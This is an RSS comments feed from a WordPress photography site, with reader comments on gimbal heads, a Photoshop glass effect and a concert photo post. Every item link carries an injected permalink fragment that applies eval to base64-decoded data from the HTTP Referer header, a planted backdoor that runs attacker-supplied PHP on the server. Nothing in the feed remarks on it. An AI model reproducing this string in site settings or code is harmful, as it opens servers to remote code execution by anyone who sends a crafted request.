<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Comments for Nikongear.com</title>
	<atom:link href="http://nikongear.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://nikongear.com</link>
	<description>Take Your Best Shot</description>
	<pubDate>Thu, 11 Mar 2010 19:38:25 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comment on Pic Of The Week #151 by chris fabbri</title>
		<link>http://nikongear.com/2009/08/27/pic-of-the-week-151/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-11</link>
		<dc:creator>chris fabbri</dc:creator>
		<pubDate>Thu, 27 Aug 2009 12:48:22 +0000</pubDate>
		<guid isPermaLink="false">http://nikongear.com/?p=481#comment-11</guid>
		<description>Stunning image, one of the best I've seen from this magic place.
Congrats SethL</description>
		<content:encoded><![CDATA[<p>Stunning image, one of the best I&#8217;ve seen from this magic place.<br />
Congrats SethL</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Wildlife Photography Pt IV by Gene51</title>
		<link>http://nikongear.com/2009/06/23/wildlife-photography-pt-iv/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-8</link>
		<dc:creator>Gene51</dc:creator>
		<pubDate>Wed, 24 Jun 2009 14:05:19 +0000</pubDate>
		<guid isPermaLink="false">http://nikongear.com/?p=343#comment-8</guid>
		<description>As far as gimbal heads are concerned, there are viable alternatives to the Wimberley. On the value end there is the Bogen/Manfrotto - which is a double U shape and costs just under $200 US. On the downside, it uses a proprietary lens mounting plate, it's a little heavy, and it is not designed to be "locked down." But it is by design inherently very stable, has smooth operation, and is adjustable for lens balance so that even if you have the clutches adjusted very loosely, if you were to tilt the lens down, it stays where you left it. On the whole, it provides 95% of the performance of the W at a fraction of the cost. With a really big lens like a 400 2.8 or a 600 4, I prefer this to the Sidekick. 

At the higher end and for abou $500 US, Feisol has just released their carbon fiber gimbal the UA-180. I have no experience with this item, but judging from its design, it seems to be not only rock-solid and very adjustable, but also uses mounting plates that can make up for under-designed lens collars. Two of their longer plates also attach to the camera, forming a very solid platform that in turn appears to attach with an Arca/Swiss styled quick-release plate to the head. It seems quite secure and stable, but without actually having worked with one I cannot attest to smoothness of operation or real-world results. I think they may be unique as far as  offering combined camera/lens mounting plates. With heavier lenses in particular, I am more comfortable with a double U system as opposed to the the more elegant Wimberley cantilevered design - but that's a personal preference.</description>
		<content:encoded><![CDATA[<p>As far as gimbal heads are concerned, there are viable alternatives to the Wimberley. On the value end there is the Bogen/Manfrotto - which is a double U shape and costs just under $200 US. On the downside, it uses a proprietary lens mounting plate, it&#8217;s a little heavy, and it is not designed to be &#8220;locked down.&#8221; But it is by design inherently very stable, has smooth operation, and is adjustable for lens balance so that even if you have the clutches adjusted very loosely, if you were to tilt the lens down, it stays where you left it. On the whole, it provides 95% of the performance of the W at a fraction of the cost. With a really big lens like a 400 2.8 or a 600 4, I prefer this to the Sidekick. </p>
<p>At the higher end and for abou $500 US, Feisol has just released their carbon fiber gimbal the UA-180. I have no experience with this item, but judging from its design, it seems to be not only rock-solid and very adjustable, but also uses mounting plates that can make up for under-designed lens collars. Two of their longer plates also attach to the camera, forming a very solid platform that in turn appears to attach with an Arca/Swiss styled quick-release plate to the head. It seems quite secure and stable, but without actually having worked with one I cannot attest to smoothness of operation or real-world results. I think they may be unique as far as  offering combined camera/lens mounting plates. With heavier lenses in particular, I am more comfortable with a double U system as opposed to the the more elegant Wimberley cantilevered design - but that&#8217;s a personal preference.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Wildlife Photography Pt I by Photography Tips: Learn how to take (and make) better photos: Digital Photography Notes</title>
		<link>http://nikongear.com/2009/06/15/wildlife-photography-start-of-a-series/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-7</link>
		<dc:creator>Photography Tips: Learn how to take (and make) better photos: Digital Photography Notes</dc:creator>
		<pubDate>Wed, 24 Jun 2009 04:01:35 +0000</pubDate>
		<guid isPermaLink="false">http://nikongear.com/?p=283#comment-7</guid>
		<description>[...] Part 1 (Introduction) &#124; Part 2 (General Equipment Section) &#124; Part 3 (Super Telephoto - Experiences with "big glass" 600mm [...]</description>
		<content:encoded><![CDATA[<p>[...] Part 1 (Introduction) | Part 2 (General Equipment Section) | Part 3 (Super Telephoto - Experiences with &#8220;big glass&#8221; 600mm [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Beer &amp; Coffee by Bart Willems</title>
		<link>http://nikongear.com/2009/06/08/beer-coffee/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-6</link>
		<dc:creator>Bart Willems</dc:creator>
		<pubDate>Mon, 08 Jun 2009 20:17:11 +0000</pubDate>
		<guid isPermaLink="false">http://nikongear.com/?p=186#comment-6</guid>
		<description>You can start with adding a fill layer with the color picked from the reflection in the glass - which is some yellowish gray (#908C71). I then set the opacity to 33% to get this darker "behind glass" look.

On top of it I added a transparent layer on which I used a gradient fill (the standard soft stripes pattern). Blending mode "screen", opacity around 80% - to add just some variety to the "glass".

Obviously both layers need to be masked.

I'm not saying it's perfect (it's kind of hard to envision how it looks without the door in place) but it definetely puts "something" in front of the bottles.

Although I think that the open door works just fine and it probably looks more "inviting" than an open door anyway. 

The textbooks recommend using pola filters on the light and a 90deg rotated pola filter on the camera to filter out the reflections. But they don't mention how to get rid of the reflectoin of yourself. Behind a white sheet with a small hole in it with the lens poking through I would guess, and then positionin the camera in such a spot that the lens reflects on top of something dark.</description>
		<content:encoded><![CDATA[<p>You can start with adding a fill layer with the color picked from the reflection in the glass - which is some yellowish gray (#908C71). I then set the opacity to 33% to get this darker &#8220;behind glass&#8221; look.</p>
<p>On top of it I added a transparent layer on which I used a gradient fill (the standard soft stripes pattern). Blending mode &#8220;screen&#8221;, opacity around 80% - to add just some variety to the &#8220;glass&#8221;.</p>
<p>Obviously both layers need to be masked.</p>
<p>I&#8217;m not saying it&#8217;s perfect (it&#8217;s kind of hard to envision how it looks without the door in place) but it definetely puts &#8220;something&#8221; in front of the bottles.</p>
<p>Although I think that the open door works just fine and it probably looks more &#8220;inviting&#8221; than an open door anyway. </p>
<p>The textbooks recommend using pola filters on the light and a 90deg rotated pola filter on the camera to filter out the reflections. But they don&#8217;t mention how to get rid of the reflectoin of yourself. Behind a white sheet with a small hole in it with the lens poking through I would guess, and then positionin the camera in such a spot that the lens reflects on top of something dark.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Beer &amp; Coffee by Dallas</title>
		<link>http://nikongear.com/2009/06/08/beer-coffee/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-5</link>
		<dc:creator>Dallas</dc:creator>
		<pubDate>Mon, 08 Jun 2009 14:55:47 +0000</pubDate>
		<guid isPermaLink="false">http://nikongear.com/?p=186#comment-5</guid>
		<description>The thought never occurred to me, Bart. I'm interested to hear how you could create that glass effect in PS though.</description>
		<content:encoded><![CDATA[<p>The thought never occurred to me, Bart. I&#8217;m interested to hear how you could create that glass effect in PS though.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Beer &amp; Coffee by Bart Willems</title>
		<link>http://nikongear.com/2009/06/08/beer-coffee/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-4</link>
		<dc:creator>Bart Willems</dc:creator>
		<pubDate>Mon, 08 Jun 2009 14:48:49 +0000</pubDate>
		<guid isPermaLink="false">http://nikongear.com/?p=186#comment-4</guid>
		<description>Couldn't you make one shot with the door open to get the beers (&lt;i&gt;aaaah!&lt;/i&gt;) and then another one with the door closed, and 'shop the glass out and replace it by some reflection effect (or in a layer greatly reduce the opacity so it feels like it's still there)?</description>
		<content:encoded><![CDATA[<p>Couldn&#8217;t you make one shot with the door open to get the beers (<i>aaaah!</i>) and then another one with the door closed, and &#8217;shop the glass out and replace it by some reflection effect (or in a layer greatly reduce the opacity so it feels like it&#8217;s still there)?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Dan Patlansky Live at the Catalina by Carolyn</title>
		<link>http://nikongear.com/2009/05/31/dan-patlansky-live-at-the-catalina/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-3</link>
		<dc:creator>Carolyn</dc:creator>
		<pubDate>Sun, 31 May 2009 19:30:31 +0000</pubDate>
		<guid isPermaLink="false">http://nikongear.com/?p=99#comment-3</guid>
		<description>Hey, thanks for the heads up on this fellow. I LOVE the song Only an Ocean.....  Funny, your title *Live at the Catalina* caused my mind to jump to Welcome to the Cantine (Traffic)..... it's all good..... Back to Dan - what a talent! And he must be stoked with your photos... sounds like trials and tribulations getting them though... good thing you had the D700! I like 1, 7 and 8 the best.....</description>
		<content:encoded><![CDATA[<p>Hey, thanks for the heads up on this fellow. I LOVE the song Only an Ocean&#8230;..  Funny, your title *Live at the Catalina* caused my mind to jump to Welcome to the Cantine (Traffic)&#8230;.. it&#8217;s all good&#8230;.. Back to Dan - what a talent! And he must be stoked with your photos&#8230; sounds like trials and tribulations getting them though&#8230; good thing you had the D700! I like 1, 7 and 8 the best&#8230;..</p>
]]></content:encoded>
	</item>
</channel>
</rss>
